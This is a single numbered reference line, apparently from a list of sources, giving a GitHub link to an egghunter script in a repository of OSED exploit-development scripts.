  6. https://github.com/epi052/osed-scripts/blob/main/egghunter.py